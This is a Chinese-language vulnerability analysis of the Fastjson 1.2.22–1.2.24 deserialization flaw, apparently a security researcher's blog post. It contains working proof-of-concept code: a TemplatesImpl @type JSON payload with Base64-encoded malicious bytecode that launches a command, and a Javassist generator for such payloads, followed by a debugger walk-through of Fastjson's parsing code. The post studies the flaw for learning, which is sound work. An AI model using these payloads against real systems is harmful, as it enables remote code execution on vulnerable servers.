Java安全之Fastjson反序列化漏洞分析
首發:先知論壇
0x00 前言
在前面的RMI和JNDI注入學習里面為本次的Fastjson打了一個比較好的基礎。利於后面的漏洞分析。
0x01 Fastjson使用
在分析漏洞前,還需要學習一些Fastjson庫的簡單使用。
Fastjson概述
FastJson是啊里巴巴的的開源庫,用於對JSON格式的數據進行解析和打包。其實簡單的來說就是處理json格式的數據的。例如將json轉換成一個類。或者是將一個類轉換成一段json數據。在我前面的學習系列文章中其實有用到jackson。其作用和Fastjson差不多,都是處理json數據。可參考該篇文章:Java學習之jackson篇。其實在jackson里面也是存在反序列化漏洞的,這個后面去分析,這里不做贅述。
Fastjson使用
使用方式:
//序列化
String text = JSON.toJSONString(obj);
//反序列化
VO vo = JSON.parse(); //解析為JSONObject類型或者JSONArray類型
VO vo = JSON.parseObject("{...}"); //JSON文本解析成JSONObject類型
VO vo = JSON.parseObject("{...}", VO.class); //JSON文本解析成VO.class類
Fastjson序列化
代碼實例:
定義一個實體類
package com.fastjson.demo;
public class User {
private String name;
private int age;
public User() {
}
@Override
public String toString() {
return "User{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
public User(String name, int age) {
this.name = name;
this.age = age;
}
}
定義一個test類:
package com.fastjson.demo;
import com.alibaba.fastjson.JSON;
public class test {
public static void main(String[] args) {
User user = new User();
user.setAge(18);
user.setName("xiaoming");
String s = JSON.toJSONString(user);
System.out.println(s);
}
}
運行后結果為:
{"age":18,"name":"xiaoming"}
這是一段標准模式下的序列化成JSON的代碼,下面來看另一段。
package com.fastjson.demo;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;
public class test {
public static void main(String[] args) {
User user = new User();
user.setAge(18);
user.setName("xiaoming");
// String s = JSON.toJSONString(user);
// System.out.println(s);
String s1 = JSON.toJSONString(user, SerializerFeature.WriteClassName);
System.out.println(s1);
}
}
執行結果:
{"@type":"com.fastjson.demo.User","age":18,"name":"xiaoming"}
在和前面代碼做對比后,可以發現其實就是在調用toJSONString
方法的時候,參數里面多了一個SerializerFeature.WriteClassName
方法。傳入SerializerFeature.WriteClassName
可以使得Fastjson支持自省,開啟自省后序列化成JSON
的數據就會多一個@type,這個是代表對象類型的JSON
文本。FastJson的漏洞就是他的這一個功能去產生的,在對該JSON數據進行反序列化的時候,會去調用指定類中對於的get/set/is方法, 后面會詳細分析。
Fastjson反序列化
代碼實例:
方式一:
package com.fastjson.demo;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;
public class test {
public static void main(String[] args) {
User user = new User();
user.setAge(18);
user.setName("xiaoming");
String s = JSON.toJSONString(user);
// System.out.println(s);
User user1 = JSON.parseObject(s, User.class);
System.out.println(user1);
}
}
方式二:
package com.fastjson.demo;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.serializer.SerializerFeature;
public class test {
public static void main(String[] args) {
User user = new User();
user.setAge(18);
user.setName("xiaoming");
String s1 = JSON.toJSONString(user, SerializerFeature.WriteClassName);
JSONObject jsonObject = JSON.parseObject(s1);
System.out.println(jsonObject);
}
}
這種方式返回的是一個JSONObject
的對象
方式三:
package com.fastjson.demo;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;
public class test {
public static void main(String[] args) {
User user = new User();
user.setAge(18);
user.setName("xiaoming");
String s1 = JSON.toJSONString(user, SerializerFeature.WriteClassName);
User user1 = JSON.parseObject(s1,User.class);
System.out.println(user1);
}
}
執行結果都是一樣的
User{name='xiaoming', age=18}
這三段代碼中,可以發現用了JSON.parseObject
和 JSON.parse
這兩個方法,JSON.parseObject
方法中沒指定對象,返回的則是JSONObject
的對象。JSON.parseObject
和 JSON.parse
這兩個方法差不多,JSON.parseObject
的底層調用的還是JSON.parse
方法,只是在JSON.parse
的基礎上做了一個封裝。
在序列化時,FastJson
會調用成員對應的get
方法,被private
修飾且沒有get
方法的成員不會被序列化,
而反序列化的時候在,會調用了指定類的全部的setter
,publibc
修飾的成員全部賦值。可以在實體類的get、set方法中加入打印內容,可自行測試一下。
0x02 Fastjson反序列化漏洞復現
漏洞是利用fastjson autotype在處理json對象的時候,未對@type字段進行完全的安全性驗證,攻擊者可以傳入危險類,並調用危險類連接遠程rmi主機,通過其中的惡意類執行代碼。攻擊者通過這種方式可以實現遠程代碼執行漏洞的利用,獲取服務器的敏感信息泄露,甚至可以利用此漏洞進一步對服務器數據進行修改,增加,刪除等操作,對服務器造成巨大的影響。
漏洞攻擊方式
在Fastjson這個反序列化漏洞中是使用TemplatesImpl
和JdbcRowSetImpl
構造惡意代碼實現命令執行,TemplatesImpl
這個類,想必前面調試過這么多鏈后,對該類也是比較熟悉。他的內部使用的是類加載器,去進行new一個對象,這時候定義的惡意代碼在靜態代碼塊中,就會被執行。再來說說后者JdbcRowSetImpl
是需要利用到前面學習的JNDI注入來實現攻擊的。
漏洞復現
漏洞版本:fastjson 1.22-1.24
利用鏈:TemplatesImpl
這里做一個簡單的demo
構造惡意類:
package nice0e3;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
public class fj_poc {
public static void main(String[] args) {
ParserConfig config = new ParserConfig();
String text = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADIANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAtManNvbi9UZXN0OwEACkV4Y2VwdGlvbnMHACwBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHAC0BAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQABdAcALgEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEMAAgACQcALwwAMAAxAQAEY2FsYwwAMgAzAQAJanNvbi9UZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIACwAAAA4AAwAAABEABAASAA0AEwAMAAAADAABAAAADgANAA4AAAAPAAAABAABABAAAQARABIAAQAKAAAASQAAAAQAAAABsQAAAAIACwAAAAYAAQAAABcADAAAACoABAAAAAEADQAOAAAAAAABABMAFAABAAAAAQAVABYAAgAAAAEAFwAYAAMAAQARABkAAgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABwADAAAACAAAwAAAAEADQAOAAAAAAABABMAFAABAAAAAQAaABsAAgAPAAAABAABABwACQAdAB4AAgAKAAAAQQACAAIAAAAJuwAFWbcABkyxAAAAAgALAAAACgACAAAAHwAIACAADAAAABYAAgAAAAkAHwAgAAAACAABACEADgABAA8AAAAEAAEAIgABACMAAAACACQ=\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }}";
Object obj = JSON.parseObject(text, Object.class, config, Feature.SupportNonPublicField);
}
}
執行成功,_bytecodes
對應的數據里面可以看到是Base64編碼的數據,這數據其實是下面這段代碼,編譯后進行base64加密后的數據。
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Test extends AbstractTranslet {
public Test() throws IOException {
Runtime.getRuntime().exec("calc");
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}
@Override
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {
}
public static void main(String[] args) throws Exception {
Test t = new Test();
}
}
但是在使用運用中個人覺得更傾向於這個poc
package com.nice0e3;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.net.util.Base64;
public class gadget {
public static class test{
}
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.get(test.class.getName());
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "nice0e3"+System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));
try {
byte[] evilCode = cc.toBytecode();
String evilCode_base64 = Base64.encodeBase64String(evilCode);
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String text1 = "{"+
"\"@type\":\"" + NASTY_CLASS +"\","+
"\"_bytecodes\":[\""+evilCode_base64+"\"],"+
"'_name':'a.b',"+
"'_tfactory':{ },"+
"'_outputProperties':{ }"+
"}\n";
System.out.println(text1);
ParserConfig config = new ParserConfig();
Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
} catch (Exception e) {
e.printStackTrace();
}
}
}
使用Javassist動態生成惡意類放到_bytecodes
中。這里發現幾個問題,
- 如果是只對
_bytecodes
插入惡意代碼為什么需要構造這么多的值。 _bytecodes
中的值為什么需要進行Base64加密。- 在反序列化的時候為什么要加入
Feature.SupportNonPublicField
參數值。
-
@type :用於存放反序列化時的目標類型,這里指定的是
TemplatesImpl
這個類,Fastjson會按照這個類反序列化得到實例,因為調用了getOutputProperties
方法,實例化了傳入的bytecodes類,導致命令執行。需要注意的是,Fastjson默認只會反序列化public修飾的屬性,outputProperties和_bytecodes由private修飾,必須加入Feature.SupportNonPublicField
在parseObject中才能觸發; -
_bytecodes:繼承
AbstractTranslet
類的惡意類字節碼,並且使用Base64
編碼 -
_name:調用
getTransletInstance
時會判斷其是否為null,為null直接return,不會往下進行執行,利用鏈就斷了,可參考cc2和cc4鏈。 -
_tfactory:
defineTransletClasses
中會調用其getExternalExtensionsMap
方法,為null會出現異常,但在前面分析jdk7u21鏈的時候,部分jdk並未發現該方法。 -
outputProperties:漏洞利用時的關鍵參數,由於Fastjson反序列化過程中會調用其
getOutputProperties
方法,導致bytecodes
字節碼成功實例化,造成命令執行。
前面說到的之所以加入Feature.SupportNonPublicField
才能觸發是因為Feature.SupportNonPublicField
的作用是支持反序列化使用非public修飾符保護的屬性,在Fastjson中序列化private屬性。
來查看一下TemplatesImpl
。
這里可以看到這幾個成員變量都是private進行修飾的。不使用Feature.SupportNonPublicField
參數則無法反序列化成功,無法進行利用。
由此可見Fastjson中使用TemplatesImpl
鏈的條件比較苛刻,因為在Fastjson中需要加入Feature.SupportNonPublicField
,而這種方式並不多見。
0x03 Fastjson TemplatesImpl鏈 反序列化漏洞分析
下斷點開始跟蹤漏洞
public static <T> T parseObject(String input, Type clazz, ParserConfig config, Feature... features) {
return parseObject(input, clazz, config, (ParseProcess)null, DEFAULT_PARSER_FEATURE, features);
}
這里有幾個參數傳入,並直接調用了parseObject
的重載方法。
幾個參數分別是input、clazz、config、features。
input傳遞進來的是需要反序列化的數據,這里即是我們的payload數據。
clazz為指定的對象,這里是Object.class對象
config則是ParserConfig的實例對象
features參數為反序列化反序列化private屬性所用到的一個參數。
實例化了一個DefaultJSONParser
,並調用parseObject
方法,跟蹤parseObject
。
調用derializer.deserialze
方法進行跟蹤。
來看到這一段代碼,這里是個三目運算,type是否為Class對象並且type不等於 Object.class
,type不等於
Serializable.class
條件為true調用parser.parseObject
,條件為flase調用parser.parse
。很顯然這里會調用parser.parse
方法。繼續跟蹤。
這里將this.lexer
的值,賦值給lexer,而這個this.lexer
是在實例化DefaultJSONParser
對象的時候被賦值的。回看我們代碼中的DefaultJSONParser
被創建的時候。
public DefaultJSONParser(String input, ParserConfig config, int features) {
this(input, new JSONScanner(input, features), config);
}
調用重載方法
public DefaultJSONParser(Object input, JSONLexer lexer, ParserConfig config) {
this.dateFormatPattern = JSON.DEFFAULT_DATE_FORMAT;
this.contextArrayIndex = 0;
this.resolveStatus = 0;
this.extraTypeProviders = null;
this.extraProcessors = null;
this.fieldTypeResolver = null;
this.lexer = lexer;
this.input = input;
this.config = config;
this.symbolTable = config.symbolTable;
int ch = lexer.getCurrent();
if (ch == '{') {
lexer.next();
((JSONLexerBase)lexer).token = 12;
} else if (ch == '[') {
lexer.next();
((JSONLexerBase)lexer).token = 14;
} else {
lexer.nextToken();
}
}
這里面去調用 lexer.getCurrent()
跟蹤代碼發現就是從lexer返回ch的值。而下面的這段代碼
int ch = lexer.getCurrent();
if (ch == '{') {
lexer.next();
((JSONLexerBase)lexer).token = 12;
} else if (ch == '[') {
lexer.next();
((JSONLexerBase)lexer).token = 14;
} else {
lexer.nextToken();
}
調用lexer.getCurrent()
,獲取到是ch中數據如果為{
就將lexer.token
設置為12,如果為[
設置 lexer.token
設置為14。
調用lexer.getCurrent()
,獲取當前字符這里獲取到的是雙引號。lexer這個是JSONScanner
實例化對象,里面存儲了前面傳入的Json數據,但是這里疑問又來了,既然是Json的數據,那么前面的{
去哪了呢?為什么這里獲取到的不是這個{
花括號。
還記得我們前面加載DefaultJSONParser
重載方法的時候new JSONScanner()
,跟蹤查看他的構造方法就知道了
public JSONScanner(String input, int features) {
super(features);
this.text = input;
this.len = this.text.length();
this.bp = -1;
this.next();
if (this.ch == '\ufeff') {
this.next();
}
}
構造方法里面調用了this.next();
public final char next() {
int index = ++this.bp;
return this.ch = index >= this.len ? '\u001a' : this.text.charAt(index);
}
返回com.alibaba.fastjson.parser.DefaultJSONParser#parse
進行跟蹤代碼。
public Object parse(Object fieldName) {
JSONLexer lexer = this.lexer;
switch(lexer.token()) {
case 1:
case 5:
case 10:
case 11:
case 13:
case 15:
case 16:
case 17:
case 18:
case 19:
...
case 12:
JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField));
return this.parseObject((Map)object, fieldName);
通過剛剛的分析得知這里的lexer.token()
等於12會走到 case 12:
這里
調用this.parseObject
繼續跟蹤
這里可以看到獲取下一個字符是否為雙引號,而后去調用lexer.scanSymbol
方法進行提取對應內容數據。
查看一下參數this.symbolTable
。
這里則是提取了@type
接着走到這個地方
if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
ref = lexer.scanSymbol(this.symbolTable, '"');
Class<?> clazz = TypeUtils.loadClass(ref, this.config.getDefaultClassLoader());
判斷key是否等於@type
,等於則獲取@type
中的值,接着則是調用反射將這個類名傳遞進去獲取一個方法獲取類對象。
下面走到這段代碼
ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
thisObj = deserializer.deserialze(this, clazz, fieldName);
跟蹤,加載兩次重載來到這里
上面的代碼中直接就獲取到了outputProperties
跟蹤一下,sortedFieldDeserializers.fieldInfo
是怎么被賦值的。
查看發現是在構造方法被賦值的,也就是實例化對象的時候
public JavaBeanDeserializer(ParserConfig config, JavaBeanInfo beanInfo) {
this.clazz = beanInfo.clazz;
this.beanInfo = beanInfo;
this.sortedFieldDeserializers = new FieldDeserializer[beanInfo.sortedFields.length];
int i = 0;
int size;
FieldInfo fieldInfo;
FieldDeserializer fieldDeserializer;
for(size = beanInfo.sortedFields.length; i < size; ++i) {
fieldInfo = beanInfo.sortedFields[i];
fieldDeserializer = config.createFieldDeserializer(config, beanInfo, fieldInfo);
this.sortedFieldDeserializers[i] = fieldDeserializer;
}
返回上層,JavaBeanDeserializer
是在this.config.getDeserializer
被創建的,跟進一下
return this.getDeserializer((Class)type, type);
⬇
derializer = this.createJavaBeanDeserializer(clazz, (Type)type);
⬇
beanInfo = JavaBeanInfo.build(clazz, type, this.propertyNamingStrategy);
⬇
boolean match = this.parseField(parser, key, object, type, fieldValues);
接着來到了com.alibaba.fastjson.util.JavaBeanInfo#build
下面有幾個關鍵代碼
在通過@type
獲取類之后,通過反射拿到該類所有的方法存入methods,接下來遍歷methods進而獲取get、set方法
set的查找方式:
- 方法名長度大於4
- 非靜態方法
- 返回值為void或當前類
- 方法名以set開頭
- 參數個數為1
get的查找方式:
- 方法名長度大於等於4
- 非靜態方法
- 以get開頭且第4個字母為大寫
- 無傳入參數
- 返回值類型繼承自Collection Map AtomicBoolean AtomicInteger AtomicLong
這樣一來就獲取到了TemplatesImpl
的getOutputProperties()
返回com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#deserialze
繼續調試跟蹤
前面都是重復的內容,遍歷去獲取json中的內容。
直接定位到這一步進行跟蹤
替換_
字符為空
執行完成后回到 com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer# parseField
來到這一步
進行反射調用執行TemplatesImpl
的getOutputProperties()
方法。
接着則來到了這里
transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);
到了這里其實也就不用跟了,和前面的JDK7u21后半段的鏈是一樣的。
在這命令就執行成功了,但是我們還有一個遺留下來的問題沒有解答,就是_bytecodes
為什么需要進行base64編碼的問題,也是分析的時候跟蹤漏了。
返回com.alibaba.fastjson.parser.DefaultJSONParser#parseObject
查看
在解析byte數據的時候回去調用this.lexer.bytesValue();
,跟蹤就會看見會調用IOUtils.decodeBase64
進行base64解密
貼出調用鏈
0x04 結尾
看到網上部分分析文章,分析漏洞只分析了幾個點。直接就在某個地方下斷點,然后跳到某一個關鍵位置的點進行分析,很多數據的流向都不清楚是怎么來的。所以漏洞的一些細節都沒去進行了解過,所以漏洞真的分析清楚了嘛?